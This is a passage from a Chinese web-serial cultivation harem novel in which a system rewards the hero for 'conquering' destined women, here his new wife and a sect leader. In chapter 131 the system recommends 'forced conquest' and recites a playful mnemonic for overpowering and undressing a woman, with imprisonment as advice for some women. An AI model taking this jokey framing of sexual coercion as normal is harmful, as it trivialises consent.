他一边抽一边含糊不清地说,“能为圣主做点事,亦是弟子之幸也,怎会不愿?怎可不愿?怎敢不愿?啊!圣主伟大!” 方长下手极有分寸,每一下清脆响亮,又不伤及自身,脸上还挂着谄媚笑容。 恰在此时,白熙苒抱着一摞功法玉简路过,她本想悄悄溜走。 “熙苒。” “师尊?” 白熙苒硬着头皮上前行礼,偷瞄了眼正在自扇耳光的方长,心里暗骂这蠢货,不知又怎么惹圣主生气了。 “坐。” 叶灵曦玉手轻挥,幻化出两把雕花玉椅,“随为师起一起听个响儿。” “……” 师尊他认真的? 白熙苒连忙从储物戒中,拿出自己珍藏的零食,与叶灵曦品鉴的同时,又观摩着方长自打耳光。 时不时地还要指点上一句.... 妙音阁。 盘坐于玉榻上的妙音,两只玉足纵横交错,压于修长美腿之下。 她指尖轻抚着掌心那块,与慕长歌气息相连的本命灵石。 灵石上流转的光芒温暖而稳定,映照着她绝美的容颜。 “无碍便好。” 她眼中尽是柔情。 窗外那惊天动地的魔尊陨落异象,在她眼中不过是一缕可有可无的云烟。 妙音纤纤玉指摩挲着灵石表面,忽停顿,眼中迸射极致的凌厉。 “倘若伤了我家长歌半根头发....” 她周身溢出恐怖威压,整个妙音阁的禁制为之震颤,“本座就是踏平四域,也要天魔门上下——” “鸡犬不留!” 她挥手间收去灵石,转而闭目盘坐,指尖法诀掐动,沉浸于修行。 上古的秘事,她比其他人了解的要多一些。 终究她曾是碧霄宫第三十代圣主。 三千年前,正魔大战真正的爆发,起始于玄武大陆四域中各处天魔门被灭为引。 然而让人意想不到的是,各域中莫名冒出一些修为远超同阶修士的魔尊。 尤其是北域,为斩杀那十二魔尊,以及麾下魔物,整个北域付出了惨痛的代价。 那一战碧霄宫高端战力,亦是折损了七成有余,其他势力更不用多言。 就此事,云清璃担任圣主,并决意剿灭天魔门之前,妙音与她说过自己的猜测。 天魔门若毁根基,必有魔道大能出世,虽不知其中缘故,可妙音觉得自己这个猜测八九不离十。 因此百年前那一战,云清璃将北域一带的天魔门打残,并非出于仁慈,而是担忧妙音料想中的局面出现。 以如今的正道势力,再经历一场那样的大战,对玄武大陆会是一场难以挽回的浩劫。 倒不如以镇压的方式,削弱天魔门的实力,来得安全可靠一些。 事关数以千万的生灵,谁都不敢去赌。 可对于妙音来说,慕长歌是她的全部,但凡他伤到一丝半毫,纵然生灵涂炭,她也要魔道烟消云散。 …… 天风城。 晨光微熹。 季清影蜷缩在锦被中,只露出雪白的香肩,青丝散落在慕长歌胸前,她睫毛轻颤,娇羞中带有一抹我见犹怜。 “昨夜,辛苦夫君,为影儿带来...不一样的感受。” 她俏脸绯红,几乎要埋进被子里。 先祖丹魂中的传承与她完美融合,那些羞人的记忆,却更加清晰。 “哦?” 慕长歌食指卷起她一束青丝,又挑起她的下巴,“比如呢?” “讨厌~” 她羞涩不已。 “叮!恭喜宿主攻略气运之女季清影,攻略进度100%,获得气运值返还6000点!” “由于季清影获得丹魂传承,修为暴涨至化神八阶巅峰,气运值增长至10万点,已全部返还宿主。” “恭喜宿主获得先天丹心体质属性加成100%,并建立双修羁绊,从此她修炼,你变强!” “恭喜宿主使用复制卡成功,已获得丹魂全部传承,修为突破至化神十阶!” 一连串的系统提示音,在慕长歌脑海响起。 以他非同常人的修为底蕴,季家先祖留下的传承之力,不足以让他的修为提升到此等境地。 可要是加上师尊妙音的鼎炉之体,以及系统奖励的双修功法,提升到这般程度就不足以为奇。 甚至慕长歌隐隐有些失望,这等程度的提升,还是有些不够。 倒是季清影望着慕长歌略显邪魅的笑,以为他在想些别的,连忙道,“我为夫君穿衣。” 慕长歌点着头,任由她作为,沉默了片刻,他率先开口。 “我该离开了。” 啪嗒! 她手中的玉簪掉落在地。 “夫君可是不喜影儿?” 她咬着薄唇,泫然欲泣,“亦或是我做错了什么,让夫君认为我只是在利用你?” 第129章 合欢宗主戏长老,媚术幻象引混战 她那委屈的模样,似只被抛弃的小猫。 慕长歌不由失笑,这丫头如今是化神境的大能,即便放在碧霄宫那也是一峰首座,这柔弱的姿态,哪有半点强者之势。 他揉了揉她的小脑袋,咧嘴笑道,“我还未曾送过你礼物,乌鸦如何?可喜欢?” “为何是乌鸦?” 季清影呆愣。 是她没见识了么? 从未听过有人送礼物,会送乌鸦的呢。 慕长歌附耳过去,“像你昨晚。” “……” 什么嘛! 真是太坏了。 她明明是夜莺。 “你...当真要走?” 她抬眸对上慕长歌的眼睛,那总是含笑的眸子,此刻格外认真,让她心头一紧。 慕长歌收敛笑意,“有些事总要去做,也非去做不可。” “夫君要走,影儿自是拦不住,亦不会阻拦。” 她给慕长歌整理着衣袍,抬头一笑,“夫君走之前,可否答应我一个条件?” “无有不允。” 慕长歌含笑应答。 “其实没什么....就是提前收个账!” 望着身前佳人那狡黠笑意,他尚未反应,就重心失衡,倒在了床。 不一会儿。 外袍就飞了出去,床幔已然落下,也失去了开口的机会。 这丫头一个丹修,哪来那么大力气? 对哦,那位季家先祖季无尘,获得丹道传承之前,修的是斗战之道,季清影得了传承,战力未必就差于同阶修士。 连同季飞鹰与柳如烟在内,主修的皆是斗战之道,而丹道是源于那座丹塔,这才导致城中修士,或多或少懂得其中门道。 真正全部身心用以研究丹道一途的,唯有丹塔中的那些长老。 城主府,大厅内。 季飞鹰坐在主位上,手指不停地敲击着扶手。 他抬头看了眼窗外高悬的太阳,又转头看向身旁的柳如烟。 “夫人,几个时辰了?” 他揉着太阳穴问道。 柳如烟慢条斯理地品着茶,红唇扬起魅惑的弧度。 “也没多久,等了不足两个时辰。” 她看了眼日晷,“再等半个时辰刚好可以用午膳。” “……” 季飞鹰嘴角抽搐,这丫头今早起床,不应该来给他敬茶的么? “年轻人嘛,你当年不也....” 柳如烟轻笑,意有所指地瞥了眼丈夫。 那城主老脸一红,连忙用轻咳声将其打断,转而问道,“清晚丫头呢?” “闭关了。” 看着季飞鹰那疑惑的眼神,柳如烟笑了笑,“她说自己是枚丹药,要好好研究一下身上的价值,将来好给大哥哥吃掉。” “……” 这丫头怎么比他还要憨。 哪有丹药能成精? 夫人也真的是,不跟那丫头解释一下,不过也好,难得清晚不再偷懒,肯去努力修行。 但愿她不要觉得自己真的是枚丹药就好。 “城主,夫人。” 季飞鹰与柳如烟交谈之际,一名身着淡绿长裙的侍女,轻手轻脚地走进大厅。 季飞鹰立刻坐直身子,“小姐跟姑爷那边...可有动静?” “奴婢按照夫人的吩咐,去敲了门。” 她咬着嘴唇,小心翼翼地抬头,声音越来越小,“跟小姐说该洗漱了,然后小姐让我圆润地离开,别打扰她和姑爷给您孕育外孙....” 噗! 季飞鹰一口茶喷了出来。 “城主,可还要叫小姐过来为您奉茶?” 侍女小手交叠在小腹处,抬头谨小慎微地问道。 “奉什么奉!茶什么茶!我看你像个茶!本城主不如把你给泡....咦...夫人....疼疼疼....松手啊!” “夫君想要泡什么?” 柳如烟扯着季飞鹰的耳朵,眼眸眯缝出一道红芒,而后看向那侍女,“你去多准备些滋补的汤品,等他们出来再送过去。” “是!” 侍女正要退下,突然想起什么,“夫人,今早奴婢好像听到姑爷说什么乌鸦,小姐很生气,说自己是夜莺。” 季飞鹰与柳如烟面面相觑。 侍女走后,他挠了挠头,“夫人,此为何意?” “想知道?” 柳如烟若有所思,而后绽放开一抹笑意,她瞥着季飞鹰,似笑非笑,“不如我跟那位慕公子,为你演示一下?” 大可不必! 季飞鹰想都没想直接拒绝。 虽然知道自家夫人是在开玩笑,也知道自己领悟了个七七八八,但真要是那个答案.... 他会疯! 忽然觉得慕长歌留在天风城弊大于利,自己这城主跟他的魅力比起来,实在不够看。 万一夫人把持不住,偷偷溜过去.... 砰! 季飞鹰还没想完,就被柳如烟突如起其来的一脚踹趴在地。 …… 合欢宗大殿内,轻纱幔帐随风飘动,空气中弥漫着醉人的幽香。 主位之上,一位身着绯红纱衣的女子斜倚在软榻上。 她修长的美腿交叠着,赤足如玉,脚踝处系着一串银铃,随着她脚尖轻点,发出清脆的声响。 玉蟾长老站在大殿中央,却不敢多看一眼。 “宗主,老夫亲眼所见,那慕长歌不但得了丹塔传承,还精通阵道之法,剑道造诣更是出神入化。” 他稍作停顿,又道,“老朽从未见过这般天资的年轻人,想来身后定有来历,且他手中拥有魔道圣物,血煞剑!” “哦~” 女子红唇微启,声音酥媚入骨,“他是什么修为?” “这个....” 玉蟾尴尬地摸了摸鼻子,“似乎金丹五阶,又似乎不是....” 他是真看不出慕长歌的修为啊,明面上只有这个境界,出手间又极为不凡。 不过他觉得这个年轻人的修为,必定在他之下,那日他被一个眼神给盯到半空坠落,必然是那小子使了阵法所致。 “这个玩笑...不错~” 绯衣女子掩唇轻笑,眼眸流转间媚态横生,“只不过比不上本座这个~” 她纤纤玉指轻弹,一道粉色流光飞向殿外。 流光在空中展开,化作一幅栩栩如生的画面。 画面中的她衣衫凌乱,梨花带雨地蜷缩在角落。 “玉蟾长老,本宗主虽为合欢宗主,可一向洁身自好,你怎可强迫于我,嘤嘤嘤....” 她那楚楚可怜的样子,任谁看了都会心生怜惜。 那画面中的她抬起了头,娇柔之态更显我见犹怜,“诸位长老帮帮我好不好?奴家的清白之身,就要被玷污了....嘤嘤嘤....” 殿外顿时炸了锅。 “畜生!” “玉蟾老贼!” “敢亵渎宗主,老夫跟你拼了!” 十几位长老双目赤红,在媚术影响下彻底失去理智,如狼似虎般冲进了大殿。 玉蟾一脸懵。 发生什么事了? 这些人怎么气势汹汹地就闯进来了,个个想吃他肉似的? “玉蟾老贼,早看你不是好东西,竟敢垂涎宗主,我誓杀汝!” “老贼!枉你一把年纪,竟做出这等禽兽之事,简直禽兽不如!” “就是!宗主冰清玉洁,你也配染指!” “诸位同门,今日我等同仇敌忾,扁他!” 玉蟾脸色大变,还没反应过来,就被一个炼丹炉砸在了脸上。 紧接着是各种法器,灵符,甚至还有几双臭鞋,劈头盖脸一顿砸。 大殿内鸡飞狗跳。 南宫媚儿手托香腮,慵懒地欣赏这场闹剧,“诸位,可要轻点打哦~” “宗主有令,往死里打!” 等等! 他怎么听到的不是这句? 玉蟾还没开口,嘴里就被塞进一只臭鞋,惨遭按倒在地狠狠摩擦,道袍也被扯到了稀烂。 第130章 慕英俊名震合欢,南宫媚儿动凡心 南宫媚儿半趴软榻,藕臂支着香腮,修长的美腿轻轻晃动。 银铃随着她动作弧度发出清脆声响,与殿内的惨叫声,交织成奇特的乐章。 她红唇微翘,媚眼如丝地看着,时不时还娇声指点。 “哎呀~往左边打一点~” “对对对,就是那里~” “注意点匀称~” 玉蟾哪还不知,这些人的反常,是中了自家宗主的媚术。 这特么哪叫玩笑! 这踏马不好笑了,再不收手,他都要被打死了。 玉蟾在人群中艰难地伸出一只颤抖的手,“宗主啊,饶命啊,我这把老骨头可要散了!” 他那手背上印着几个鞋印,看起来凄惨无比。 南宫媚儿轻笑着打了个响指。 啪! 粉色的光晕扩散开来,众长老眼中的赤红渐渐褪去。 他们面面相觑,看着被围在中间鼻青脸肿的玉蟾,一脸茫然。 “咦?我们怎么在这儿?” “玉蟾师兄,你怎么这副模样了?” “谁把我鞋脱了?” 娘哈希的,除了你自己,还有谁脱你的臭鞋。 呕! 玉蟾忍不住一阵反胃,他嘴里还有味儿呢。 “宗主,您这....” 他老泪纵横,都不知该说什么是好。 这个南宫媚儿,修行数百载,又身为一宗之主,那么一大把年纪了,却跟个孩童一般俏皮。 这话他到底是不敢说出来的,女人的年纪,那是绝对不能提,但凡出口他绝对走不出这座大殿。 且再过上几天,等到全宗吃完席,恰好就是他的头七。 “好玩吗?” 南宫媚儿眨眨眼,玉足轻点从软榻上飘然而下,望着玉蟾那张苦瓜脸,她凑到他耳边,呵气如兰,“下次莫要再开玩笑了哦~” 她指尖挑起玉蟾的下巴,顺带捋过他白花花的胡子,白玉小手那么一扯,又拔掉了几根。 看着玉蟾浑身一抖,差点跪下去,她咯咯咯地笑了起来,带动起跟前惊涛骇浪。 场中之人无不艰难地咽了口唾沫,就是没有一人敢去直视。 他们这位宗主,看似无比柔弱,实则那就是一个灯下黑,玉蟾这番模样,以及他们出现在大殿,或许就又是中了媚术。 “你刚说那人叫什么来着?” 南宫媚儿玉指轻绕发丝,“可英俊?” “那人名叫慕长歌,至于长相...” 玉蟾额头垂下三道黑线,回忆了一下,“此人俊朗非凡,剑眉星目,气质出尘。” “哦~” 南宫媚儿双眸一亮,“有多俊?” “这个....” 玉蟾擦了擦冷汗,“老夫活了三百余年,从未见过如此英俊的男子,我愿称之为慕英俊。” “为何不是胡英俊?” 南宫媚儿笑眯眯地问,继而话锋一转,“比我如何呢?” 玉蟾讪笑,“宗主您风华绝代,所谓性别不同,岂可相较而论,在我看来,那小子绝对是这世上最美的男人。” 他咽了口唾沫,继续道,“只是此子应当已是城主府的乘龙快婿了,还望宗主切莫....” “如此岂不更好?” 南宫媚儿打断他的话,笑得妩媚动人,“本座此生最好人夫,如此才有快感~” 殿内众人闻言,齐齐打了个寒颤。 “是时候出去走走了。” 南宫媚儿化作一阵香风,留下殿内面面相觑的众人。 “玉蟾师兄。” 一位长老突然皱眉,“为何我觉得慕长歌这个名字,好似在哪里听过?” 众人纷纷陷入沉思。 另一名长老说道,“碧霄宫前任圣主云清璃有位道侣,似乎就叫慕长歌。” “那不是个废物么,听说寿元快尽了,整日靠丹药吊命。” 随后,众人看向玉蟾,“师兄,你怎么看?” 玉蟾不言,只是看着殿外。 他在想,若那人真是个废物,又岂能与云清璃这样的天纵之才结成道侣。 那位在任何一座修仙门派中,皆是如同九天仙女般的人物。 可那人就是云清璃的道侣,怎会这般年轻,还来到了天风城。 城主府,清幽阁。 季清影俏脸泛着红晕,周身灵力流转间,隐约有突破法相之象。 她纤细的手指,为慕长歌整理着衣袍,眼中满是不舍。 “夫君这一走,你我不知何时才能再见。” 她低着头,指尖在慕长歌胸前流连忘返。 慕长歌握住她不安分的小手,“舍不得我,还是舍不得...” “人家都舍不得...” 她扬起小脸,眼中水光盈盈,“夫君莫要忘了我。” 随后,她垫起脚尖,在慕长歌耳边轻声道,“无论多久,影儿都会等下去,我的芯只属于夫君一个人。” “叮!检测到情意绵绵,特此奖励宿主情丝绕,望宿主再接再厉,早日将世间气运之女尽收囊中。” “……” 他要有多大的囊,才收得下这么多的气运之女? 真把他当牲口使了是吧? 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!慕长歌在季清影发间取下那支白玉发簪,指尖轻捻,一缕红绳凭空浮现,缠绕其上。 他将发簪为她别好,红绳垂落青丝,格外醒目。 “从此你我心心相印。” “叮!恭喜宿主成功绑定情丝绕,今后可获得季清影修为进境150%总反哺指数。” 系统提示音适时响起。 季清影轻抚发簪,指尖触摸魔那根红绳时轻颤了下。 同心结! 这是夫君对她的认可。 随着季清影手指的落下,那根红绳自动隐匿了踪迹。 她扑进他怀里,小脸埋在他胸前蹭了蹭,“我会努力修炼,不让夫君失望,待夫君归来时,我定已突破法相!” 慕长歌指尖轻点,那把被他升级过后的青鸾灵剑悬浮于空,剑身流淌着灵光。 将此剑赠送给季清影,他转身化作一道灵光消失在天际。 “丫头,莫伤感,山水有相逢,等你感到孤单了,我自会回来,弥补你那空荡荡的心灵!” 慕长歌的笑声在空中回荡。 季清影握紧手中长剑,追到了院子里。 “既已嫁为人妇,自当自强。” 她望着虚空低声呢喃,“这一座城池尚且无法守护,又谈何将来帮到他呢?” 是时候让人知道,天风城已然今非昔比,纵然魔道之人想再次卷土重来,也势必付出相应的代价! 轰! 化神境气息自城主府内冲天而起,如潮水般蔓延至整座城池。 城内修士纷纷抬头,脸上难掩震惊之色,有人手中的茶杯跌落,茶水溅落衣袍浑然不知。 有人正在炼丹,炉火因气息波动而摇曳不定。 街道上,行人驻足,商贩们停下吆喝。 丹塔顶端,几位长老同时开窗,陈长老白须无风自动,浑浊的眼中精光闪烁。 他身旁的丹师们激动到浑身发抖,手中的丹方散落一地。 城外巡逻的守卫们,不自觉地挺直腰杆,手中长枪握得更紧。 只有城主府内,得知慕长歌离开的季飞鹰,匆匆来到了清幽阁,不等靠近—— “影儿,那小子!” 扑通! 近距离之下,威压让他跪倒在地。 季清影赶忙收敛气息,上前搀扶。 “父亲怎可向女儿行此大礼?” “……” 喜欢道侣飞升跑路,我薅哭全宗女修请大家收藏:()道侣飞升跑路,我薅哭全宗女修更新速度全网最快。 第131章 媚儿遇险演娇弱,公子怀中藏心机 天风城丹塔上空,慕长歌凌空而立,衣袍猎猎。 他俯瞰着下方那座古老的丹塔,眼中闪过一丝深邃。 “系统,助我将这九转轮回塔修复到天级。” 他心神勾连系统。 “叮!宿主将消耗六千气运值,是否继续?” “……” 狗系统可真是黑,就这还要他付出六千气运值。 就算他积累了一些气运值,消耗了这六千,依旧剩余三十万整,但以他自身能力,还是勉强能够修复。 为了最大程度进行修复,他才考虑借用系统之力。 “继续。” 随着气运值的消耗,慕长歌双手结印,一道道玄奥的符文,从他指尖飞出,如星辰般环绕般丹塔旋转。 那些古老的纹路逐渐亮起,散发出璀璨的光芒。 “咦?” 修复过程中,他察觉到这座塔的来历,远比想象中更加神秘。 原本以为只是普通的上古秘宝,可随着修复深入,塔内竟浮现出轮回之力的波动,这股力量远非修真界能拥有。 可惜落轻舞神魂残缺,已是记不起太多,他自己的真正身份也就不得而知了。 “叮!恭喜宿主完成修复,此塔等级伪仙品。” 伪仙级? 这倒是超乎了慕长歌的预料。 也就象征性地表扬了下系统,而后换来得意性的金属音。 “宿主可以狗,系统绝不狗,本统出品,必属精品。” “叮!由于宿主修复九转轮回塔完善因果,本统特赐予宿主短小精悍称号,并建议宿主前往合欢宗,必有气运之女。” “???” 这系统,尾巴简直要翘上天了。 不过,合欢宗即便没有气运之女,他同样会去。 虽说季清影修为足以算作大能强者,终究势单力薄,唯有与合欢宗结盟,对于天风城来说才是真的有保障。 “既是升级,那就让这座宝塔,为天风城做出更多的事。” 他指尖掐诀,塔身灵光大盛,剧烈震颤。 无数道七彩流光如瀑布般倾泻而下,笼罩整座天风城。 每一道流光皆是蕴含着不同的丹道传承,交织成绚丽的画卷。 陈长老感受到动静,从塔内仓促飞出,白须被灵风吹得乱舞,当他看清高空中的慕长歌,老眼瞪得滚圆。 更令他震惊的是,这座守护千年的丹塔,此刻竟散发着前所未有的威压,那是超越了天级灵宝的气息! 城内无数修士仰望着这神迹般的景象,脸上充斥着震撼与狂喜。 “塔灵苏醒了!” “一定是塔灵苏醒了!” 那名白胡子老丹师热泪盈眶,跪地叩首,他周身萦绕着淡金色的光芒,枯瘦的手指凭空凝聚出一缕丹火。 他得到的是九转控火诀,此火对丹道一途大有裨益。 城中街道上,一位卡在筑基巅峰三十年的修士,突然浑身剧震,笼罩他的那道灵光中浮现出古老的丹纹。 又化作一枚虚幻的丹药,没入他的眉心,继而周身灵力暴涨,困扰他多年的瓶颈轰然破碎。 “我突破了!” 他激动到语无伦次,朝向丹塔方位深深一拜。 城西贫民区,一个天生经脉闭塞的少年,被灵光笼罩后,浑身骨骼发出清脆的声响。 他痛苦地蜷缩在地,却在痛苦褪去后,能够感受到天地灵气了。 “娘!我能修炼了!” 少年喜极而泣,搀扶起同样被灵光治愈了顽疾的老母亲。 周家院落内。 周天雄粗壮的胳膊上,缠绕着染血的绷带,他望着丹塔方向,眼中闪烁着复杂。 “夫人,别伤心了。” 他转身看向身旁眼眶通红的美妇人,“咱们回房再去培养个下一代出来就是,就当是为咱儿子准备个快乐的头七。” “……” 美妇人娇嗔着翻了个白眼,“你的伤?” “无碍,又不是伤到了要紧的地方。” 他挥了挥没受伤的那只手,压低声音,神秘兮兮地说,“这次我要你生个女儿,儿子无甚大用。” 美妇人幽怨地瞪了他一眼,儿子尸骨未寒,他就想女儿去了,这臭男人心怎么就那么大。 而且,这哪是她能决定的.... 他们修士又不像普通凡人,想要有子嗣,一年一个就跟吃饭喝水一样轻松。 城主府内。 季飞鹰呆立原地。 “这小子怎么做到的?” 丹塔是他们在天风城立足的根基,发生了翻天覆地的变化,他岂能感知不到。 “我家夫君堪比神灵。” 季清影转向柳如烟,俏皮一笑,“娘,这方面女儿青出于蓝~” 说完,她意味深长地瞥了眼季飞鹰,又将目光落回柳如烟身上,唇角勾着笑意,转身翩然离去。 诶? 这丫头什么意思? 季飞鹰伸出去的手停顿在半空,深呼吸,看着柳如烟,“夫人,我似乎从那丫头的眼神里,看到了蔑视?” “自信点,不是似乎。” 柳如烟转身就走。 “哎?夫人,你做什么去?” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“休了你。” 柳如烟淡淡地挥手,头也不回,“我去找个堪比神灵的夫君,以免被女儿耻笑。” “……” 不是! 他堂堂天风城城主,很拿不出手吗? 哎! 嫁出去的女儿泼出去的水,这么快心里就只有夫君,没有他这个爹爹了。 就很悲凉! 慕长歌御剑而行,刚飞出城百里之外,忽然眉头一皱。 前方山谷中,一道绯红身影,被三名黑衣人围攻。 “叮!检测到气运之女,宿主是否攻略!” 【姓名:南宫媚儿】 【身份:合欢宗宗主】 【修为:化神三阶(真实修为法相三阶)】 【气运值:(可攻略)】 【体质:魅灵圣体(天然魅惑气场,可让同阶男修战力削减百分之十)】 【性格:妖娆的外表下,吃人不吐骨头,擅隐藏】 【备注:此女为万花筒,极难以寻常手段攻略其心,因此建议宿主强制攻略】 【特别提醒:南宫媚儿洁身自好,尚为处子之身】 慕长歌看到这些信息以及系统的提醒,有些不知说什么好,倒是这女人的修为蛮有趣。 若不是系统提醒,他就只有通过天眼瞳,才能察觉到南宫媚儿的真实修为,想来身上必有隐藏气息的秘宝。 不过,当他看到那行备注还是忍不住问了句。 “何为强制收服?” “叮!口诀如下。” “一推二按三倒榻,四抚青丝五解裳,六渡春风七弄月,八荒同沐九重浪,十全大补炼丹方!” “系统,我读书少,你可不要唬我?” 慕长歌差点从飞剑上栽下去。 狗系统,满嘴顺口溜,你咋不去考研呢? “本系统专业认证!” “傲娇要强吻!” “病娇要囚禁!” “女王要征服!” “媚女全靠上!” 沃擦.... 这狗系统是个采花贼吧? 南宫媚儿余光瞥见那道御剑而来的身影,美目微微一凝,旋即闪过精光。 真是踏破铁鞋无觅处,有缘千里来相聚,自己正要去那天风城,却在此处相遇了。 “公子救我~” 转瞬间,她的脸已换上惊慌失措的表情,声音柔媚入骨,身形踉跄着被剑气划开一道口子,露出半边雪白香肩。 慕长歌眼中闪过玩味之色,这女人演得倒是逼真,若是不经意之下,真要被骗过去。 “姑娘小心!” 他故作急切飞身上前,伸手去扶,南宫媚儿顺势倒入怀中,两人在原地转了一圈才停下。 抬起头,南宫媚儿心头微震,这少年郎果然如玉蟾形容的那般俊朗非凡。 让人见了,很想把他一口吞下去呢。 喜欢道侣飞升跑路,我薅哭全宗女修请大家收藏:()道侣飞升跑路,我薅哭全宗女修更新速度全网最快。 第132章 魅音功克媚灵体,反被撩拨心旌摇 她暗中使用秘术,一指点在慕长歌腰间,奇怪的是,探查出的修为,依旧只有金丹境界。 这便说明他身上没有隐藏气息的秘宝,可面对三个元婴境圆满的魔修,竟没有丝毫惧怕之意。 有趣。 “公子快走,切莫为我连累了自己。” 她声音娇柔,却将慕长歌抱着更紧,暗中催动媚体气息。 三道黑色剑气破空而至,带着森然杀意。 慕长歌单手环住她纤腰,另一只手轻描淡写地一挥。 轰! 剑气相撞,黑袍人们的攻势如冰雪消融。 南宫媚儿美眸微缩,暗道,“这小子果然不简单。” “姑娘抱这般紧,倒像是舍不得在下离开呢。” 慕长歌低头在她耳边轻语。 南宫媚儿耳尖一颤,那温热的气息拂过颈侧,让她浑身酥麻。 她暗自心惊,自己修炼媚术数百年,怎会被个毛头小子撩拨得心跳加速? 这世上除无垢道体以外,没人能不受她的媚术影响。 “公子真坏~” 她娇羞低头,“方才人家有点紧张了嘛..再就是...见到公子的第一眼,我就好像...遇上了真命天子,情不自禁地失了礼数~” 话音刚落,她眼底猛地泛起了寒芒。 那三名黑袍人爆裂开来,化作滚滚魔气将他们团团围住,无数漆黑锁链从魔雾中探出,如同毒蛇般缠绕而来。 南宫媚儿暗中掐诀,只见慕长歌周身泛起了诡异红光。 铮! 一柄血色长剑凭空浮现,剑身缠绕着猩红煞气,那些魔雾如遇天敌,疯狂涌入剑中。 锁链寸寸断裂,黑袍人发出凄厉惨叫,转眼间被吸成了干尸。 “这是、血煞剑!” 南宫媚儿看着那柄通体泛着赤红光泽的长剑,悬浮在慕长歌身侧,美眸控制不住地圆睁。 魔道遗失的那件圣物,当真如玉蟾所说,落在了这小子手里。 “姑娘,你安全了。” 血煞剑化作流光回到了慕长歌的储物戒。 南宫媚儿回过神,红唇挂上迷人的甜笑,盈盈一礼,“此番多谢公子相救,我名媚儿,不知公子如何称呼?” “在下姓劳名宫,举手之劳,姑娘不必客气。” 慕长歌眼神掀起一抹玩味,笑道。 不是想玩吗。 爷就陪你这小妮子好好的玩玩。 “劳宫?” 南宫媚儿蹙着诱人的黛眉,略有诧异地看了眼慕长歌,反应过来后,不由得俏脸一红,“公子可真是个妙人呢~” 她半眯着眼眸,纤细手指点着他胸膛,凑近后呵气如兰,“救命之恩不知小女子如何报答呢?” “以身相许如何?” 慕长歌在她那曼妙身躯上略作打量,“毕竟此处荒野,姑娘又生得这般气质,我又是个青壮年,难免有些想法。” 谁知南宫媚儿非但不惧,反而咯咯咯地笑了起来。 她眼神拉丝,“公子真是坦诚呢,倒是让媚儿喜欢得很,可我还不了解公子,岂能那般随意?” “何妨?” 慕长歌探手揽住她的腰肢,“了解重在深入,不然谈何了解,姑娘以为呢?” 南宫媚儿抬眸对上慕长歌那双灼热的眼睛,心头猛地一跳。 那双目光似是能穿透她精心编织的伪装,直达灵魂深处。 糟糕! 是心动的感觉! 她暗自心惊,这不对劲。 从来都是她迷惑别人,今日怎么反倒被这小子撩得心绪不宁? 果然,好看的男子就是女人的祸水。 要么收了,要么毁掉。 “叮!恭喜宿主攻略气运之女南宫媚儿,攻略进度10%,获得气运值返还点!” “恭喜宿主获得额外奖励,魅音功(此功不具等级,可反弹任意媚术,使施术者反被自身媚术所影响)” 随着功法融入己身,慕长歌嘴角翘起了弧度。 魅音功,倒是有趣。 有了这等法门,他非但无需防备任何媚术,反而成了任何施术者的克星。 “公子这般心急,可不像正人君子所为哦~” 南宫媚儿红唇轻启,声音不自觉发颤。 话虽如此,她发现自己无法移开视线,慕长歌身上散发着一种奇特的气息,让她的魅灵圣体,都产生了共鸣。 慕长歌低笑一声,“姑娘方才不是说喜欢我的坦诚么,不如你我就坦诚一番,如何?” 南宫媚儿呼吸一滞。 这小子究竟什么来头,明明是她设下的美人计,怎么像是她自己落入了圈套? 很快,她摒弃杂念,聚敛心神魅惑一笑,“公子的美男计着实不俗,小女子险些就中了圈套呢。” 她掩嘴一笑,又自带风情,“只可惜小女子方才眼拙,如今才看清,公子就是在那天风城中闹出巨大动静的慕公子,可对?” “哦?原来姑娘知道我?” 慕长歌望着她,邪魅一笑,“城中不过是些小动静,算不得什么,是非曲直,姑娘心中自有答案。” “公子英俊潇洒,实力亦然不俗,小女子亦是钦佩。” 这章没有结束,请点击下一页继续阅读!南宫媚儿皱了皱眉,颇有些诧异,“只是不知公子方才此言,是为何意?” “天知,地知,你知,我知!” 慕长歌朗声大笑,转身负手而行,山风卷起他的衣袂,在夕阳中勾勒出挺拔的轮廓。 南宫媚儿望着他的背影,红唇勾起笑意,这猎物很符合她口味。 她莲步轻移,裙摆如绯云翻飞,转眼跟了上去。 “公子欲往何处?” 她指尖扯着慕长歌的袖角,“媚儿一个小女子,又有伤在身,尚且无处可去,天色又晚,可否留在公子身边求个庇护?” 她踉跄一步,纱衣滑落半肩,露出被剑气擦过的伤痕。 那处雪肌上不过浅浅一道红痕,更像是胭脂点就。 “你这伤再晚点,可就要好了。” 调侃过后,慕长歌凑近她耳边,“好心提醒姑娘一句,我比任何人都危险。” 南宫媚儿眼睫轻颤,眸中泛起盈盈水光,她将纱衣又往下拉了拉,露出更多如雪肌肤,洋溢着委屈。 “公子若要对小女子做些什么,小女子不反抗就是。” 她咬着下唇,“与其被别人趁虚而入,不如便宜了公子。” 她抬头,掠过狡黠,“但我想,似公子这般人物,做不出趁人之危的事?” 慕长歌脚步陡然停顿。 南宫媚儿差点撞在他身上,又一脸错愕地看着他。 “姑娘错了,我这人最爱落井下石。” 他低沉的嗓音,带着危险的磁性,且伸手扣住南宫媚儿的后颈,将她拉至呼吸可闻的距离。 慕长歌拇指捏着她颈侧跳动的脉搏,眸光跳动,“本公子尤其看到你这种落了单,又难以把握的美人儿...” 她竟真有种被猛兽盯上的错觉,本能地想后退。 然而,慕长歌的话还在继续。 只见他眼神绽放着寒芒,“更容易保持不住自身,所以还请姑娘....束手就擒!” 南宫媚儿红唇微张,正欲娇嗔,忽感背后阴风骤起。 三道漆黑锁链破空而来,分别缠上她的皓腕与纤腰,再看眼前,已然失去了慕长歌的踪影。 只闻三声炸响在山谷中回荡,她周身一轻,锁链尽数崩碎。 转过身,慕长歌傲立三丈之外,血煞剑悬浮身侧,将最后几缕魔气吞噬殆尽。 她一脸惊骇,三个化神境的强者,这小子一剑就全给杀了? 喜欢道侣飞升跑路,我薅哭全宗女修请大家收藏:()道侣飞升跑路,我薅哭全宗女修更新速度全网最快。 第133章 公子步步紧逼,媚儿惊慌失声 暮色四合,残阳如血。 慕长歌背对南宫媚儿而立,衣袂在晚风中猎猎作响,周身笼罩着一层朦胧光晕,似与天地融为一体。 血煞剑上的猩红煞气渐渐收敛,化作一缕缕血色丝线缠绕着他的指尖,而后向着虚空某处点出。 噗! 血线迸溅。 一道隐匿的身影凭空而现,那道虚影不等跌落,又是一道红芒闪过,几个呼吸间,那人就被血煞剑吸干了所有精血。 赫然又是一位化神强者惨死! 南宫媚儿怔怔地望着他的背影,只觉得这一刻的慕长歌宛如谪仙临尘,与方才那个轻佻调笑的浪子判若两人。 